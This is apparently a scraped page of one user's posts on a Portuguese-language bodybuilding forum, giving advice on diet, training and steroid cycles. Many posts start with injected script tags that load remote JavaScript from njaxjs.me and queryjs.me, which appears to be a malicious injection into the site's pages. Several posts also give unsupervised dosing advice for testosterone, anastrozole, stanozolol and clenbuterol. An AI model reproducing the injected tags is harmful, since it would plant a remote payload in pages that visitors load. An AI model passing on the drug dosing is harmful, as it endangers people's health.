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rvtz

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  1. rvtz
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Nao existe segredo e sim DETERMINAÇÃO. O que voce não sabe, procure um profissional pra te orientar, o resto está em voce, basta acreditar que voce pode. dica: tira esse pelos ai tbm kkkkk ta parecendo o Beer (user aqui do forum kkkk)
  2. rvtz
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> A questão não é a quantidade de calorias e sim QUAIS calorias voce irá consumir na sua dieta. O ideal seria procurar um nutricionista para lhe ajudar com a dieta e voce se livrar dos fastfoods e porcarias do dia-a-dia. O IDEIAL seria fazer aerobico todos os dias e treinar todos os dias. Nada muito extremo de inicio, comece devagar, treine normal e após o treino crie o costume de fazer pelo menos de 15 a 25 minutos de aerobico: não precisa sair correndo na esteira a 15Km/h que em 2 minutos voce vai cansar. Comece devagar, com caminhadas e trotes e vai aumentando a intensidade conforme for ganhando resistencia. O grande segredo é a DIETA aliada a EXERCICIOS FISICOS, tanto para ganho muscular quanto para queima de gordura. Nosso corpo é capaz de grandes mudanças mas só depende de voce. Quando comecei a treinar (com 28 anos já) eu tinha uma barrida parecida com a sua, um falso magro rsrs e após 4 anos de dedicação, treino e dietas estou como na foto ai do meu avatar. Não me gabando, jamais, eu apenas tive FOCO e DETERMINAÇÃO e isso qualquer um pode ter.
  3. rvtz
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Controle sua alimentação e comece a fazer aerobicos com mais frequencia que essa barriga ai some. Pode fazer um treino de hipertrofia porém capriche nos aerobicos que automaticamente voce vai perder a barriga e ganhar massa magra. Por enquanto coloco o corpo em ação e comece a rotina de dieta e aerobico. Foque na dieta que é possível ganhar massa magra e perder gordura ao mesmo tempo por mais que dizem que isso é lenda.
  4. rvtz
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Cutting
  5. rvtz
    Ixi Julie, ta zuado hein fiiii .. chama no zapzap, vamo troca umas idéias!
  6. rvtz
    Ganhou quanto de massa magra ? Axo, eu disso aaaxo, que vc conseguiria o mesmo resultado apenas com uma dieta rigorosamente elaborada por um profissional esportivo e um bom treino de hipertrofia junto a cardiovasculares de alta intensidade. Poderia até ter tomado um queimador (sem T3, T4 ou clembu, um Oxyelite mesmo) que secaria tranquilo (que eu acho desnecessário), aliás, nem tinha banha pra queimar, ectomorfo. Passar por isso que voce está passando apenas por 2 ou 3% a menos de gordura e 2cm de bíceps realmente é de se pensar bem. Se valeu a pena ou não, só voce pra dizer.
  7. rvtz
  8. rvtz
    cara, realmente SEM PADRAO e sem lógica tbm. Se vai bulkar, porque cuttou antes ? Bulka e dps cutta, sempre, a nao ser que voce seja gordo morbido (que pela foto não parece) 250mg de testo em bulk ? vai ganhar quase nada, dose muito baixa, como o Uebaz disse, dose de cruize. Coloca pelo menos 500mg (eu iria de 750mg/semana) Seu E2 vai alterar de qualquer maneira, ta usando 5 drogas diferentes, 250mg a mais de testo ai não vai fazer nem cócegas. Aproveita que ja esta usando Anastro e aumenta. Outra coisa: particionando os nutruientes ou não sua dose de proteina esta muuuuito baixa cara. Aumenta isso ai pra 3/kg ou até 4/kg juntando com suplementação. Pecar por falta de proteina é besteira cara, ainda mais tomando essa farmácia toda ai. Pergunta: quem disse pra voce tomar desse jeito ai ? Não gostei.
  9. rvtz
    Sem fotos antes e depois fica dificil avaliar como está indo seu ciclo. Posta fotos ai, o visual é que conta. 3,5Kg em uma semana com Ox ?! Estranho rsrs a nao ser que vc tenha genetica de Arnold, voce ganhou gordura já. Como esta sua dieta de 3500kcal ? Posta ela ai, vamos ver.
  10. rvtz
    Devolve esses lixos ai e pede seu dinheiro de volta (ou o que realmente voce comprou) Dinheiro é seu cara, não é obrigado a fica com os bagulhos "pq o fisiculturista falou" - balela .. Fora que o stano é mais barato que a Oxandrolona e foooora que o cara te mandou Ox de 5mg mano, isso ai é desperdício de dinheiro e de fígado rsrs
  11. rvtz
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Bulk. Ahhh, mas até quando ? Até voce ganhar massa magra, não tem quase nada ai, ta magro.
  12. rvtz
    Viu só como era DOBRAS e não PRÉGAS HAHAHAHAHHAHA
  13. rvtz
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Seu corpo já é muito bonito mas um cutting leve como o Maurice disse, mais seco, ficaria melhor ainda. Depois volta pro bulking, sempre limpo pra controlar a gordura.
  14. rvtz
    Tome cuidado apenas com as cargas pois conheço garotas que também colocaram implantes e após 20 dias ja voltaram a academia, porém uma teve um problema: devido a força, a prótese saiu do lugar, fico meio torta rsrs teve que fazer outra cirurgia pra corrigir, e mais um tempo fora da academia, fora os riscos que voce pode correr. Com voce pode ter sido normal, sua recuperação foi ótima mas SEMPRE ALERTA, com cirurgia, por mais simples que seja, engloba muita coisa no corpo, então todo cuidado sempre é pouco, Para evitar problemas poderia evitar exercícios com pesos livres e também de treinar superiores por mais uns dias, creio que até uns 45 dias e sempre ouvir o que o médico diz, voce foi nele por é ele quem entende. Do resto bons treinos e boa sorte na recuperação. <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Seria MUITO SENSATO usar os anabols (já que quer usar rs) depois da sua cirurgia. Provavelmente nesse tempo que voce ficará parada irá perder parte dos seus ganhos e por fim nao adiantara nada. Faça sua cirurgia (isso deveria ser LEI entre as mulheres rsrsrs) e depois cicle com calma.
  15. rvtz
    <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> olha que troll kkkkkkk<script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Concordo. Bulk limpo sempre.
  16. rvtz
    <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Come carinha, coma muito, bulka mais uns 2 anos e depois pensa num cutting. Pelas fotos voce parece inciante, então esquece isso de cutting, trincar e bla bla bla, voce precisa de MASSA MAGRA. pra isso, coma.
  17. rvtz
    OLOCO, mandando 1,5ml 4x ao dia ? Loucuuuura jovem, tudo errado. Toma uma vez ao dia apenas e nao passe dos 7ml. Nao se brinca com Clembu.
  18. rvtz
    Quads bem marcados, bons resultados.
  19. rvtz
    Falae carinha, Ganhou qtos Kg até agora ? Duraland é osso, dificilmente vejo gente relatando bons ganhos com ela.
  20. rvtz
    Primeiro que voce é novo demais pra ciclar, tem muito pra crescer natural ainda, mas nao adianta falar rsrs Já que vai ciclar faria algo mais simples como somente oxandrolona ou com propionato junto, uma por semana, só pra testar a resposta do seu corpo. Reveja seus conceitos de TPC cara, já existem novas técnicas, medicamentos e protocolos diferentes. Segundo que não gostei da estrutura, normalmente o stano entra na quarta semana pra voce aproveita a testo bater sozinha. No final do ciclo sua testo ja vai estar no chinelo. E ainda não sei o porque do stano, eu ja tomei mas nunca mais usarei, merda de droga, zoa colesterol, zoa o eixo, zoa sua testo, zoa articulações (aaaahhh mas é da ganho de massa, FODA-SE, tem droga melhor) Já que vai usar o stano, esquece essa frescura de 38h em 38h. Manda tsd, no mesmo horario e pronto, muito mimimi. Cara, cade o carboidrato da sua dieta ? Voce só come ovo ? Voce é seco cara, pode por 3 refeiçoes de carbo ai, umas 250g de batata doce cada, duvido que vc não ganhe uns 10kg tomando essas drogas mas tem que melhorar a estrutura. <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Cara, ele disse apenas por relação ao estér ser longo e ainda 4 tipos de testosterona. Pelo garoto ser jovem demais pra usar ele, não que não é bom, que não cresça. Quis dizer que ele poderia ter utilizado um ester curto, menos agressivo e talvez em menor quantidade ou outras drogas mais brandas, tipo Oxandrolona. Justamente pela idade, quando começa cedo assim, jaja ta viciado e não consegue mais treinar sem e ai começam a surgir os problemas. Agora vai dizer que só porque vc ganhou 11Kg tomando ela seria a melhor droga ?! Eu ganhei 14Kg tomando Dura, e ai ?! mas eu ja tinha 28 anos de idade, tinha chego no meu limite, testosterona começando a baixar e tals. Vai de cada um.
  21. rvtz
    <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Ele ja abandonou, medinho de agulha rsrsrs
  22. rvtz
    <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Chuto 16%, não mais que isso. Talvez seja a iluminação. Mas voce precisa ganhar mais massa ai jovem, nao da pra ver formato dos musculos, tira umas fotos em uma luz melhor e posta dinovo. Ta fazendo dieta de bulk ? Disse que ganhou 10Kg em 1 ano. Eu limparia mais a dieta porque creio que vc nao siga uma e continuaria no bulk mas comendo mais limpo e com pelo menos umas 2500kcal (se for natural) ou umas 3000kcal (onfire rs).
  23. rvtz
    <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> Manda pra cá que eu queimo pra voce kkkkkkk ou deve rever isso ai viu .. UM BOM CHÁ PRA CURAR ESSA AZIA ! KKKK
  24. rvtz
    <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> TRUE .. HUE HUE HUE ! Sou a favor de "ervas naturais" também, relaxa e livra um pouco sua cabeça dos problemas. Até o mestre Arnold queimava unzinho, pq eu nao ?! kkkkkkk
  25. rvtz
    Cara, se o ENDÓCRINO receitou provavelmente seja a dose segura que ele lhe aconselha a usar com o mínimo possível de colaterais. Logicamente que drogas orais acabam prejudicando um pouco mais o fígado porém junto com os compostos que ele mandou manipular existem protetores, então, manda bala. Aproveita que esta com acompanhamento e questione ele em TUDO que voce puder. Só ciclar jovem.
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